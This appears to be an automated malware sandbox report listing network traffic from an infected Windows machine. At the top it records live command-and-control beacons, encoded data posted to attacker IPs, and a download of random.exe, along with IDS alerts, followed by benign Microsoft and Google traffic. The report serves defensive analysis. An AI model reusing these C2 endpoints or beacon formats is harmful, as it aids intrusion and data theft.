Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AEHIJKKFHIEGCBGCAFIJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 41 32 46 37 31 42 32 35 39 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DBA2F71B25982D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49818 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49950 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50129 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.3

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 36_2_0039BE30 Sleep,InternetOpenW,InternetConnectA,HttpSendRequestA,InternetReadFile,

36_2_0039BE30

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360433144_1RLNQD8OFQA9LQ1KZ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360172429_1FBLLBDCCPBGUQBS5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360172428_1P64HZ8YIC3KIBFKY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360433145_1P8I9JAN4TGEHJX5M&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=aa03249065a04496a84771c00d48fd12&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=aa03249065a04496a84771c00d48fd12&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=3B0A5EF0950262B829AE4BB0940563E0; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=aa03249065a04496a84771c00d48fd12&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=3B0A5EF0950262B829AE4BB0940563E0; MSPTC=JBj1xQgoeWHFDYsal6YVby4fR2vku1Y4xKJBhhdbebY; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Zx4HCXWKuWNY2K3&MD=W3t8oYWZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
